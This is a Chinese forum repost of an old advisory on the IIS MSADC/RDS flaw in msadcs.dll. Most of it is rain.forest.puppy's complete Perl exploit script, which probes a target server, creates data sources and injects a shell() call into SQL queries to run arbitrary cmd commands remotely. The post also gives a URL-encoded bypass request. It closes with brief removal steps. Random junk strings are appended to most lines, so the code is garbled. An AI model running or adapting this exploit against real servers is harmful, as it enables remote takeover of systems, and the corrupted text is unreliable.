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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) zD#$]?@ b  
#?x!:i$-  
涉及程序: Ck:RlF[6C  
Microsoft NT server 2TFb!?/RQ  
#&V7CYJ  
描述: k#eH Q!  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 mS\ gh)<h  
LtIR)EtB]  
详细: D4@).%  
如果你没有时间读详细内容的话,就删除: r6.`9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll  H7`JqS  
有关的安全问题就没有了。 [Lck55V+Q  
xq6 eu 9   
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &a;{ed1B  
!,Ou:E?Bb  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 uDtml$9rN  
关于利用ODBC远程漏洞的描述,请参看: nt 9LBea  
zd%n)jlwR  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Lud[.>i  
f ZEyXb  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A-n@:` n~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7+N0$0w%r  
 lu_kir~  
这里不再论述。 2 m"2>gX  
;mT|0&o>#  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: *B4?(&0  
'E\/H17  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset .Us)YVbk  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! HZINsIm!?  
{ l E\y9  
0W_olnZ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" q8m{zSr  
WGmXq.  
#!perl gGaA;YW1  
# 8v<802  
# MSADC/RDS 'usage' (aka exploit) script )WBp.j /#  
# FT F`-}Hz  
# by rain.forest.puppy {[|je ]3v  
# l|kGp~  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ftb .CPWI  
# beta test and find errors! T!f+H?6  
8"'Z0 Ey  
use Socket; use Getopt::Std; xK*G'3Ge  
getopts("e:vd:h:XR", \%args); {PGiNY%q  
u=6LPwiI  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Y)O88C  
ugu|?z*dI  
if (!defined $args{h} && !defined $args{R}) { k)3b0T@b  
print qq~ x?"+Or.h  
Usage: msadc.pl -h <host> { -d <delay> -X -v } dguN<yS- E  
-h <host> = host you want to scan (ip or domain) ut*sx9l  
-d <seconds> = delay between calls, default 1 second g=gM}`X%  
-X = dump Index Server path table, if available ]|xfKDu  
-v = verbose AjYvYMA&  
-e = external dictionary file for step 5 (]@yDb4  
5cUz^ >  
Or a -R will resume a command session ; b`kN;s  
=x xN3Ay  
~; exit;} MdC}!&W  
;aj4V<@  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; .OM^@V~T  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 3wYhDxY1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} g[c_rty  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); |j2$G~B6  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} K^5f  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } }R9>1u}6  
rq#\x{l  
if (!defined $args{R}){ $ret = &has_msadc; W" i3:r  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ` t6|09e  
[mcER4]}  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;RW0Dn)Q  
. "cmd /c "; I^GZ9@UE  
$in=<STDIN>; chomp $in; qNuBK6E#4  
$command="cmd /c " . $in ; I.6 qA *  
, 3&D A  
if (defined $args{R}) {&load; exit;} #?h-<KQQ  
S'_2o?fs  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; TpGnSD  
&try_btcustmr; 6/dP)"a('  
WHy r;m3)  
print "\nStep 2: Trying to make our own DSN..."; 3j6Am{9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?mp}_x#=  
#rI4\K  
print "\nStep 3: Trying known DSNs..."; )p`zN=t  
&known_dsn; `C&@6{L  
PL|ea~/  
print "\nStep 4: Trying known .mdbs..."; jmBsPSGIC  
&known_mdb; ?APCDZ^  
&SW~4{n:  
if (defined $args{e}){ 4T>d%Tt+)  
print "\nStep 5: Trying dictionary of DSN names..."; hnnVp_<]  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Jm`{MzqL  
$xqX[ocor  
print "Sorry Charley...maybe next time?\n"; D~zk2  
exit; g QYs,  
/ tG[pg{[  
############################################################################## +C36OcmT~  
ROr|n]aJj  
sub sendraw { # ripped and modded from whisker nIqNhJ+  
sleep($delay); # it's a DoS on the server! At least on mine... ts/Ha*h  
my ($pstr)=@_;  6hO]eS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S }3?  
die("Socket problems\n"); c6Z"6-}$  
if(connect(S,pack "SnA4x8",2,80,$target)){ s$Vz1B  
select(S); $|=1; ZA7b;{o [  
print $pstr; my @in=<S>; >sGiDK @  
select(STDOUT); close(S); "rnVPHnQR  
return @in; W|L#Q/ RX  
} else { die("Can't connect...\n"); }} r'<!wp@  
,UNnz&H+f  
############################################################################## NtG^t}V  
`D?  &)Y  
sub make_header { # make the HTTP request #G]g  
my $msadc=<<EOT O %1uBc  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2dCD.9s9~  
User-Agent: ACTIVEDATA EX/{W$ &K  
Host: $ip f;%=S:3  
Content-Length: $clen 3z0 %uY[e  
Connection: Keep-Alive XI>HC'.0  
$}JWJ\-]  
ADCClientVersion:01.06 >x*ef]aS  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 d$HPpi1LL  
ATF>"Ux  
--!ADM!ROX!YOUR!WORLD! w\1K.j=>|N  
Content-Type: application/x-varg LO;6g~(1  
Content-Length: $reqlen xz-?sD/xe  
Sg< B+u\\  
EOT 6J<R;g23R]  
; $msadc=~s/\n/\r\n/g; *o=[p2d"X  
return $msadc;} &9EcgazV  
] Jnrs  
############################################################################## W+i&!'  
Y^QG\6q  
sub make_req { # make the RDS request 3~\,VO''  
my ($switch, $p1, $p2)=@_; H}cq|hodn  
my $req=""; my $t1, $t2, $query, $dsn; b"y4-KV  
.wPI%5D  
if ($switch==1){ # this is the btcustmr.mdb query {XH3zMk[  
$query="Select * from Customers where City=" . make_shell(); k!V@Q!>,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . K2gF;(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Z4dl'v)9  
pwVaSnre`  
elsif ($switch==2){ # this is general make table query 39bw,lRPV  
$query="create table AZZ (B int, C varchar(10))"; =@P]eK/  
$dsn="$p1";} I&f!>y?,Z  
G4^6o[x  
elsif ($switch==3){ # this is general exploit table query i|xC#hV  
$query="select * from AZZ where C=" . make_shell(); ! Q8y]9O  
$dsn="$p1";} g~XR#vl$  
|qf ef &  
elsif ($switch==4){ # attempt to hork file info from index server bh+m_$X~  
$query="select path from scope()"; pB0 SCS*  
$dsn="Provider=MSIDXS;";} :pLaxWus!  
EGzlRSgO  
elsif ($switch==5){ # bad query A3.*d:A  
$query="select"; n^Q-K}!T/  
$dsn="$p1";} O jH"qi  
s;#,c(   
$t1= make_unicode($query); G%>{Z?!B  
$t2= make_unicode($dsn); ]VaMulb4  
$req = "\x02\x00\x03\x00"; Pp.] /;  
$req.= "\x08\x00" . pack ("S1", length($t1)); "}2I0tM  
$req.= "\x00\x00" . $t1 ; :Q}Zb,32  
$req.= "\x08\x00" . pack ("S1", length($t2)); < =!FB8 .  
$req.= "\x00\x00" . $t2 ; "%w E>E  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; L|p+;ex  
return $req;} EUby QL  
Bo;{ QoB  
############################################################################## 3F$N@K~s  
\F14]`i  
sub make_shell { # this makes the shell() statement ZyV^d3F@$  
return "'|shell(\"$command\")|'";} Y/f8rN  
Zfd `Fu  
############################################################################## XrJLlH>R4  
~En]sj  
sub make_unicode { # quick little function to convert to unicode WO*dO9O  
my ($in)=@_; my $out; PY#_$ C  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } l6N"{iXU  
return $out;} B D [<>Wm  
s8;*Wt  
############################################################################## -YS9u [   
7w}]9wCN?  
sub rdo_success { # checks for RDO return success (this is kludge) W^i[7 r  
my (@in) = @_; my $base=content_start(@in); A#gy[.Bb  
if($in[$base]=~/multipart\/mixed/){ eC@b-q   
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;pqS|ayl  
return 0;} h*?]A  
fs2y$HN  
############################################################################## ,WE2MAjhT  
P:UR:y([  
sub make_dsn { # this makes a DSN for us NCVhWD21|  
my @drives=("c","d","e","f"); ywj'O e41  
print "\nMaking DSN: "; >VJ"e`  
foreach $drive (@drives) { QO %;%p*  
print "$drive: "; CYdYa|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 6M[OEI5  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Bqw/\Lxwlf  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); SP4(yJy&  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; P&Wf.qr{:  
return 0 if $2 eq "404"; # not found/doesn't exist SmV}Wf  
if($2 eq "200") { *t`=1Ioj  
foreach $line (@results) { VuuF _y;  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} oGL2uQXX  
} return 0;} l - ~PX  
'OU`$K7n  
############################################################################## zor  
6%MM)Vj+u  
sub verify_exists { Wu)An  
my ($page)=@_; 0U! _o2]  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >vDi,qmZ  
return $results[0];} ])#?rRw  
]Aj5 K  
############################################################################## ITZ}$=   
{5 (M   
sub try_btcustmr { }^`5$HEi  
my @drives=("c","d","e","f"); EJ(z]M`f  
my @dirs=("winnt","winnt35","winnt351","win","windows"); NW` Mc&  
M&KJZ  
foreach $dir (@dirs) { /}S1e P6  
print "$dir -> "; # fun status so you can see progress V]/ $ dJ  
foreach $drive (@drives) { :/6u*HwZh  
print "$drive: "; # ditto >fp_$bjd  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; R#Z m[S  
$reqlenlen=length( "$reqlen" ); 6%&DJBU!  
$clen= 206 + $reqlenlen + $reqlen; awSi0*d~  
J!H)[~2/  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); _xM3c&VeG  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 7b(r'b@N  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $ Zj3#l:rK  
@eP(j@(^  
############################################################################## 8aVj@x$'  
w}?,N  
sub odbc_error { 1~S'' [  
my (@in)=@_; my $base; 0NXaAf:2Z  
my $base = content_start(@in); :MGIp%3  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this =/ 19 -Y:  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }ok'd=M  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; EV_u8?va  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /a\]Dwj5  
return $in[$base+4].$in[$base+5].$in[$base+6];} k;HI-v  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; gyob q'o-  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .  >1q:-^  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5KW n>n  
6>[J^k%~w)  
############################################################################## L"}2Y3  
\cQ+9e)  
sub verbose { W,.Exh  
my ($in)=@_; x) R4_ 3  
return if !$verbose; Q7_#k66gb7  
print STDOUT "\n$in\n";} .8XkB<[wb  
9L>ep&u)^  
############################################################################## uExYgI`<%&  
!X1 KOG  
sub save { =g)SZK  
my ($p1, $p2, $p3, $p4)=@_; Nk?L<'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ht*;,[ea  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; JQSczE3  
close OUT;} ZBjb f_M:  
O*9d[jw[  
############################################################################## E :UJ"6  
j:0< tj E  
sub load { ~(eD 4"  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; vH@b  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); G4"n`89LK  
@p=<IN>; close(IN); Se [>z(  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &zHY0fxX  
$target= inet_aton($ip) || die("inet_aton problems"); fjHd"!)3  
print "Resuming to $ip ..."; c  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >t4<2|!(M  
if($p[1]==1) { *-@@t+3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Pk:b:(4  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +Rq]_ sDu  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Q S<)*  
if (rdo_success(@results)){print "Success!\n";} V# JuNJ  
else { print "failed\n"; verbose(odbc_error(@results));}} 2K2_-  
elsif ($p[1]==3){ M2M&L,/O  
if(run_query("$p[3]")){ /?S,u,R  
print "Success!\n";} else { print "failed\n"; }} "gt*k#  
elsif ($p[1]==4){ '3B7F5uLx"  
if(run_query($drvst . "$p[3]")){ Lp{/  
print "Success!\n"; } else { print "failed\n"; }} on f7V  
exit;} ]"i^ VVw  
#3YYE5cB  
############################################################################## ]gVW&3ZW  
i7`/"5I  
sub create_table { z"Wyf6H0T  
my ($in)=@_; ZU5;w  
$reqlen=length( make_req(2,$in,"") ) - 28; 8[IR;gZf  
$reqlenlen=length( "$reqlen" ); <4*)J9V^s=  
$clen= 206 + $reqlenlen + $reqlen; )NlxW5  
my @results=sendraw(make_header() . make_req(2,$in,"")); WU6F-{M"?  
return 1 if rdo_success(@results); PBAQ KQ  
my $temp= odbc_error(@results); verbose($temp); 'L2[^iF9  
return 1 if $temp=~/Table 'AZZ' already exists/; Jy0(g T  
return 0;} |qb-iXW=  
&IFXU2t}  
############################################################################## ":L d}~>  
Ar`U / %Cu  
sub known_dsn { BsYJIKfW  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Rc~63![O.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ,772$7x  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "=UhTE  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); |w.5*]?H  
da$ErN '{  
foreach $dSn (@dsns) { _x<7^^VT  
print "."; KvlLcE~`o  
next if (!is_access("DSN=$dSn")); jo"zd b  
if(create_table("DSN=$dSn")){ nc:K!7:  
print "$dSn successful\n"; #|6M*;lN|  
if(run_query("DSN=$dSn")){ t8Giv89{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 3EyVoS6D  
print "Something's borked. Use verbose next time\n";}}} print "\n";} m"vWu0/#  
uD4$<rSHb  
############################################################################## l6-%)6u>  
j8?rMD~  
sub is_access { Ki%RSW(_`  
my ($in)=@_; OZno 3Hn  
$reqlen=length( make_req(5,$in,"") ) - 28; xOc&n0}%  
$reqlenlen=length( "$reqlen" ); DC=XPn/V  
$clen= 206 + $reqlenlen + $reqlen; &DWSu`z  
my @results=sendraw(make_header() . make_req(5,$in,"")); ,>3|\4/Q  
my $temp= odbc_error(@results); =Ka :i>  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); } BnPNc[I  
return 0;} z?(QM:  
II(P  
############################################################################## S[RVk=A1  
8&v%>wxR@  
sub run_query { {Pe+d3Eoo  
my ($in)=@_; bYy7Ul6]  
$reqlen=length( make_req(3,$in,"") ) - 28; p;LF-R  
$reqlenlen=length( "$reqlen" ); b IZi3GmRF  
$clen= 206 + $reqlenlen + $reqlen; 2%@<A  
my @results=sendraw(make_header() . make_req(3,$in,"")); @;{iCVW  
return 1 if rdo_success(@results); Ryi% }!  
my $temp= odbc_error(@results); verbose($temp); ,/..f!bp  
return 0;} sT>l ?L  
j.UO>1{7  
##############################################################################  t/a  
t<znz6  
sub known_mdb { }E\u2]  
my @drives=("c","d","e","f","g"); TuzH'F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;V4f6[<]'z  
my $dir, $drive, $mdb; s6_[H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; E=l^&[dIl  
~ tqDh(  
# this is sparse, because I don't know of many ]}BT'fky#  
my @sysmdbs=( "\\catroot\\icatalog.mdb", t+n+_X  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", f_ UwIP  
"\\system32\\certmdb.mdb", I=}R Z9  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% H)i%\7F5  
PYW>  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", CR`}{?2H  
"\\cfusion\\cfapps\\forums\\forums_.mdb", RTeG\U  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ]s~%1bd  
"\\cfusion\\cfapps\\security\\realm_.mdb", %s[ n2w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", u'aWvN y+  
"\\cfusion\\database\\cfexamples.mdb", >w|2 ~oK  
"\\cfusion\\database\\cfsnippets.mdb", 8\CmM\R  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", :tBZu%N/N  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", d ]Mjr2h  
"\\cfusion\\brighttiger\\database\\cleam.mdb", F6-U{+KU$!  
"\\cfusion\\database\\smpolicy.mdb", be~'}`>  
"\\cfusion\\database\cypress.mdb", Bc51 0I$c  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", <84d Vg  
"\\website\\cgi-win\\dbsample.mdb", }G 1hB#j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", XN~r d,MZ%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _u8d`7$*%  
); #these are just "9!CsloWhz  
foreach $drive (@drives) { Z+C&?K  
foreach $dir (@dirs){ GsC4ty  
foreach $mdb (@sysmdbs) { ri1:q.:I]  
print "."; TS;?>J-  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ |&H(skF_  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; z|i2M8  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ XB\n4 |4  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .l~g`._  
} else { print "Something's borked. Use verbose next time\n"; }}}}} /SQ1i}%  
uzWz+atH  
foreach $drive (@drives) { s@5r}6?M  
foreach $mdb (@mdbs) { IP l]$j>N  
print "."; VHTr;(]hk  
if(create_table($drv . $drive . $dir . $mdb)){ +v"%@lC};  
print "\n" . $drive . $dir . $mdb . " successful\n"; q<w Q/m  
if(run_query($drv . $drive . $dir . $mdb)){ qn~:B7f  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 5`[B:<E4  
} else { print "Something's borked. Use verbose next time\n"; }}}} w1 tg7^(@  
} Q)}z$h55  
V tJyE}  
############################################################################## i{6wns?KMj  
|iB svI:  
sub hork_idx { XLsOn(U\&  
print "\nAttempting to dump Index Server tables...\n"; doV+u(J~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Z1M{5E  
$reqlen=length( make_req(4,"","") ) - 28; $#d.@JWi  
$reqlenlen=length( "$reqlen" ); W1p5F\ wt  
$clen= 206 + $reqlenlen + $reqlen; -O?&+xIK&  
my @results=sendraw2(make_header() . make_req(4,"","")); J1{ucFa  
if (rdo_success(@results)){ >X-*Hu'U#  
my $max=@results; my $c; my %d; ,{u'7p  
for($c=19; $c<$max; $c++){ -K%~2M<  
$results[$c]=~s/\x00//g; A0 1 D-)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; wv_<be[?*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; n ^_B0Rkv  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Z^yhSbE{5  
$d{"$1$2"}="";} .?p\=C@C+  
foreach $c (keys %d){ print "$c\n"; } rty&\u@}  
} else {print "Index server doesn't seem to be installed.\n"; }} Z;nUS,?om  
!x1ivP  
############################################################################## s+XDtO  
hZNA I  
sub dsn_dict { f3HleA&&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); xEvm>BZi  
while(<IN>){ T&~7*j(|e  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; xl;0&/7e  
next if (!is_access("DSN=$dSn")); c %.vI  
if(create_table("DSN=$dSn")){ \h 1T/_4  
print "$dSn successful\n"; lT~A~O  
if(run_query("DSN=$dSn")){ ]<?7Cp P  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { mL[Y{t#N  
print "Something's borked. Use verbose next time\n";}}} * IBCThj  
print "\n"; close(IN);} k>q}: J9V  
?br4 wl  
############################################################################## [u}2xsSx  
&%`Y>\@f  
sub sendraw2 { # ripped and modded from whisker /f) #CR0$  
sleep($delay); # it's a DoS on the server! At least on mine... It3.  
my ($pstr)=@_; 61{IXx_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || F_C_K"[s  
die("Socket problems\n"); *;y n_zg  
if(connect(S,pack "SnA4x8",2,80,$target)){ [*AWCV  
print "Connected. Getting data"; {kp^@  
open(OUT,">raw.out"); my @in; %e'Z.vm  
select(S); $|=1; print $pstr; , 1` -u$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2%(RB4+  
close(OUT); select(STDOUT); close(S); return @in; B!zqvShF  
} else { die("Can't connect...\n"); }} <tp#KZE  
u.Z,HsEOb  
############################################################################## @O%d2bgEWV  
;IYH5sG{  
sub content_start { # this will take in the server headers KK4"H]!.  
my (@in)=@_; my $c; *QT|J6ng  
for ($c=1;$c<500;$c++) { nH % 1lD?:  
if($in[$c] =~/^\x0d\x0a/){ y OLqIvN  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } BbdJR]N/!h  
else { return $c+1; }}} &i%1\ o  
return -1;} # it should never get here actually sCE2 F_xjL  
;5wr5H3  
############################################################################## h1 (MvEt  
#-Ad0/  
sub funky { gaXKP1m^  
my (@in)=@_; my $error=odbc_error(@in); ;_hL  
if($error=~/ADO could not find the specified provider/){ O F CA~sR  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v5N2$Sqp*  
exit;} jwd{CN%  
if($error=~/A Handler is required/){ c/\$AJV.H  
print "\nServer has custom handler filters (they most likely are patched)\n"; # \)tz z  
exit;} yL>wCD,L  
if($error=~/specified Handler has denied Access/){ t=Um@;wh  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,t=12R]>  
exit;}} 4]/i0\Vbam  
 p3YF  
############################################################################## =ap6IVR  
=YRN"  
sub has_msadc { Lc:DJA  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); oK3aW6  
my $base=content_start(@results); 78i"3Tm)w  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Hz6yy*  
return 0;} g2'Q)w  
t[-0/-4  
######################## HAr_z@#E  
}.R].4gT  
(&a<6k  
解决方案: WgK|r~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll WDdp(<  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ]O;Hlty(g  
KtFxG6a  
拿出来充数 哈哈
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